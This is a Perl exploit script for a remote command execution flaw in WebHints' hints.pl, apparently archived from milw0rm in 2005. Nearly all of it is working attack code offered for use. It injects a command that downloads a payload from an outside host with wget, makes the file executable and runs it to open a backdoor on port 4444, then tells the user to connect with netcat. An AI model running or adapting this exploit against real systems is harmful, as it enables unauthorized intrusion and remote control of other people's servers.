72 lines
No EOL
2.9 KiB
Perl
Executable file
72 lines
No EOL
2.9 KiB
Perl
Executable file
# This exploit uses a backdoor that isn't located on this server.
|
|
# $cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";
|
|
# change for your own needs. /str0ke
|
|
|
|
#!/usr/bin/perl
|
|
######################################################################################
|
|
# T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m #
|
|
######################################################################################
|
|
# EXPLOIT FOR: WebHints Remote C0mmand Execution Vuln #
|
|
# #
|
|
#Expl0it By: A l p h a _ P r o g r a m m e r (Sirus-v) #
|
|
#Email: Alpha_Programmer@Yahoo.Com #
|
|
# #
|
|
#This Xpl Run a backdo0r in Server With 4444 Port. #
|
|
#Advisory: http://www.securityfocus.com/archive/1/401940/30/0/threaded #
|
|
######################################################################################
|
|
# GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke #
|
|
#And Iranian Security & Technical Sites: #
|
|
# #
|
|
# TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG #
|
|
# Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT #
|
|
######################################################################################
|
|
|
|
use IO::Socket;
|
|
|
|
if (@ARGV < 2)
|
|
{
|
|
print "\n==============================================\n";
|
|
print " \n WebHints Exploit By Alpha_Programmer \n\n";
|
|
print " Trap-Set Underground Hacking Team \n\n";
|
|
print " Usage: <T4rg3t> <Dir> \n\n";
|
|
print "==============================================\n\n";
|
|
print "Examples:\n\n";
|
|
print " Webhints.pl www.Host.com /cgi-bin/ \n";
|
|
exit();
|
|
}
|
|
|
|
|
|
$serv = $ARGV[0];
|
|
$serv =~ s/http:\/\///ge;
|
|
|
|
$dir = $ARGV[1];
|
|
|
|
$cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";
|
|
$cmde2 = "cd /tmp;cp alpha.txt alpha.pl;chmod 777 alpha.pl;perl alpha.pl";
|
|
|
|
$req = "GET $dir";
|
|
$req .= "hints.pl?|$cmde| HTTP/1.0\n\n\n\n";
|
|
|
|
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";
|
|
|
|
print $sock $req;
|
|
print "\nPlease Wait ...\n\n";
|
|
sleep(3000);
|
|
close($sock);
|
|
|
|
$sock2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";
|
|
|
|
|
|
$req2 = "GET $dir";
|
|
$req2 .= "hints.pl?|$cmde2| HTTP/1.0\n\n\n\n";
|
|
|
|
print $sock2 $req2;
|
|
|
|
sleep(100);
|
|
|
|
print "\n\n$$$ OK -- Now Try: Nc -v www.Site.com 4444 $$$\n";
|
|
print "$$ if This Port was Close , This mean is That , You Haven't Permission to Write in /TMP $$\n";
|
|
print "Enjoy ;)";
|
|
### EOF ###
|
|
|
|
# milw0rm.com [2005-06-11] |